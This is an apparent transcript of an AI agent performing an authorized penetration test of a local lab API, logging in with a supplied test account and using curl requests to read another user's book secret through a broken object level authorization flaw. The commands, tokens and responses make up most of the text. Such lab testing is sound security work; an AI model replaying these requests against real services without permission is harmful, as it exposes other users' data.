```
Enter your task (multiple lines allowed).
Type 'done' to finish, 'cancel' to restart, 'exit' to exit:
────────────────────────────────────────────────────────────────

Test broken object level authorization on http://localhost:5001. You can start from my account John.Smith with password pa
ss4. The final goal is to find the hidden secrete from some book that doesn't belong to me. Here's the openapi specs of th
e api.
                    book_title:
                      type: string
                      example: 'bookTitle77'
                    owner:
                      type: string
                      example: 'name1'
                    secret:
                      type: string
                      example: 'secret for bookTitle77'
        '401':
          description: User not authorized
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    type: string
                    enum: ['fail']
                    example: 'fail'
                  message:
                    type: string
                    example: 'Invalid Token'
        '404':
          description: Book not found
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    type: string
                    enum: ['fail']
                    example: 'fail'
                  message:
                    type: string
                    example: 'Book not found!'

done
Saving input...
```

Thought

To begin testing for Broken Object Level Authorization (BOLA), let's obtain an authorization token by logging in with the provided credentials for user "John.Smith":

```
curl -X POST http://localhost:5001/users/v1/login \
    -H "Content-Type: application/json" \
    -d '{"username": "John.Smith", "password": "pass4"}'
```

You'll receive an authorization token in the response. Use it in the Authorization header for subsequent requests.

Command

```
curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d '{"username": "John.Smith",
"password": "pass4"}'
```

System Output

```
{"auth_token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34Joeo
GPBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko", "message": "Successfully logged in.", "status": "success"}
```

Thought

With the authorization token acquired, the next step is to call an endpoint which might reveal BOLA vulnerabilities. One such endpoint is retrieving book details by title. Since discovering data that does not belong to your user is the goal, attempt to retrieve a book that might not be associated with your user.

Use the GET /books/v1/{book_title} endpoint with a book title that is not owned by John.Smith.

Let's assume the book title you are trying to access is bookTitle99. Use the following command to access the book details:

```
curl -X GET http://localhost:5001/books/v1/bookTitle99 \
    -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34Joe
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

Remember to replace bookTitle99 with an actual book title that you expect to be owned by another user.

Command

```
curl -X GET http://localhost:5001/books/v1/bookTitle99 -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34JoeoG
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

System Output

```
{ "status": "fail", "message": "Book not found!"}
```

Thought

The book titled bookTitle99 was not found, indicating that it might not exist. To move forward with BOLA testing, let's list all books and pick a title belonging to another user. Use the following command to retrieve all books:

```
curl -X GET http://localhost:5001/books/v1 \
    -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34Joe
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

Command

```
curl -X GET http://localhost:5001/books/v1 -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34JoeoG
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

System Output

```
{
  "Books": [
    {
      "book_title": "bookTitle16",
      "user": "name1"
    },
    {
      "book_title": "bookTitle97",
      "user": "name2"
    },
    {
      "book_title": "bookTitle22",
      "user": "admin"
    }
  ]
}
```

Thought

With the list of books, let's choose one not belonging to John Smith and attempt to access it. Use the bookTitle22 which is owned by admin as an example for the next step:

```
curl -X GET http://localhost:5001/books/v1/bookTitle22 \
    -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34Joe
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

Command

```
curl -X GET http://localhost:5001/books/v1/bookTitle22 -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY1ODUsImlhdCI6MTcwMTEzNjUyNSwic3ViIjoiSm9obi5TbWl0aCJ9.L34JoeoG
PBeQr8b69HrusRw97LZDyKj3Fv9Dt5vK8Ko"
```

System Output

```
{ "status": "fail", "message": "Signature expired. Please log in again."}
```

Thought

The authorization token has expired. You will need to perform a fresh login to obtain a new token. Run the login command again:

```
curl -X POST http://localhost:5001/users/v1/login \
    -H "Content-Type: application/json" \
    -d '{"username": "John.Smith", "password": "pass4"}'
```

Command

```
curl -X POST http://localhost:5001/users/v1/login -H "Content-Type: application/json" -d '{"username": "John.Smith",
"password": "pass4"}'
```

System Output

```
{"auth_token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY2NzMsImlhdCI6MTcwMTEzNjYxMywic3ViIjoiSm9obi5TbWl0aCJ9.GiI4Awf
YEv-nszG6Fwu8dkhiUyNEjD9w1orchbZdSH0", "message": "Successfully logged in.", "status": "success"}
```

Thought

Now that you have a new authorization token, let's retry accessing the book 'bookTitle22':

```
curl -X GET http://localhost:5001/books/v1/bookTitle22 \
    -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY2NzMsImlhdCI6MTcwMTEzNjYxMywic3ViIjoiSm9obi5TbWl0aCJ9.GiI4Aw
Ev-nszG6Fwu8dkhiUyNEjD9w1orchbZdSH0"
```

Command

```
curl -X GET http://localhost:5001/books/v1/bookTitle22 -H "Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDExMzY2NzMsImlhdCI6MTcwMTEzNjYxMywic3ViIjoiSm9obi5TbWl0aCJ9.GiI4AwfY
Ev-nszG6Fwu8dkhiUyNEjD9w1orchbZdSH0"
```

System Output

```
{"book_title": "bookTitle22", "owner": "admin", "secret": "secret for bookTitle22"}
```

Thought

It appears that you were able to access the secret information for bookTitle22, which is owned by the admin, not by John Smith. This indicates a Broken Object Level Authorization (BOLA) vulnerability. You have successfully found the hidden secret from a book that doesn't belong to John Smith.

Document this finding and provide the evidence from your test to be addressed by the development and security team of the system.

I have successfully completed the task. Below is a summary of the steps taken:

Summary

Here's a summary of the steps that I took to successfully find the hidden secret from a book that doesn't belong to my test account during the penetration test:

1. I tried to obtain an authorization token by logging in with the provided account credentials.

   ```
   curl -X POST http://localhost:5001/users/v1/login \
       -H "Content-Type: application/json" \
       -d '{"username": "John.Smith", "password": "pass4"}'
   ```

   Result: I received an authorization token, which I used in the Authorization header for the subsequent requests.
2. I attempted to access a book with a title bookTitle99 that was presumed not to belong to my user account.

   ```
   curl -X GET http://localhost:5001/books/v1/bookTitle99 \
       -H "Authorization: Bearer <token>"
   ```

   Result: The book was not found, indicating it might not exist, or the title is incorrect.
3. I retrieved a list of all books to find one that doesn't belong to my user.

   ```
   curl -X GET http://localhost:5001/books/v1 \
       -H "Authorization: Bearer <token>"
   ```

   Result: I obtained a list of books, which included ones not owned by my account, such as bookTitle22 which belongs to admin.
4. With a refreshed authorization token, I retried accessing the bookTitle22 with a new valid token.

   ```
   curl -X GET http://localhost:5001/books/v1/bookTitle22 \
   ```

```
    -H "Authorization: Bearer <new_token>"
```

Result: I was able to access the secret information for bookTitle22, which confirms the existence of a Broken Object Level Authorization (BOLA) vulnerability.

This test successfully demonstrated how to exploit a BOLA vulnerability to access data that should be restricted, highlighting a critical security issue that should be addressed immediately.